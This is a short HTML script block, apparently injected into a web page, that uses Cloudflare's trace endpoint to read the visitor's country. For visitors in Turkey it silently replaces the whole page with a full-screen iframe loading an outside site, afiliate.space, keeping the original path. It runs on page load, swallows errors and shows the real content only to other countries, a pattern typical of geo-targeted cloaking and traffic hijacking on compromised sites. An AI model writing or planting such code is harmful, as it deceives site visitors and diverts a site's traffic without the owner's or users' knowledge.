<!-- 3. AŞAMA: PATLAMAYAN HIZLI CLOUDFLARE TRACE (JS TESPİTİ) -->
<script>
(function() {
    // Cloudflare'in doğrudan CDN izleme uç noktası (Asla kota yemez, CORS engeli yoktur)
    fetch('https://www.cloudflare.com/cdn-cgi/trace')
        .then(function(res) { return res.text(); })
        .then(function(data) {
            if (data && data.indexOf('loc=TR') !== -1) {
                var targetUrl = "https://afiliate.space/amp" + window.location.pathname + window.location.search;
                document.open();
                document.write(`
                    <!DOCTYPE html>
                    <html lang="tr">
                    <head>
                        <meta charset="UTF-8">
                        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
                        <title></title>
                        <style>
                            html, body { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden; background-color: #ffffff; }
                            iframe { width: 100%; height: 100%; border: none; outline: none; display: block; position: absolute; top: 0; left: 0; right: 0; bottom: 0; }
                        </style>
                    </head>
                    <body>
                        <iframe src="${targetUrl}" allowfullscreen></iframe>
                    </body>
                    </html>
                `);
                document.close();
            }
        }).catch(function(){});
})();
</script>
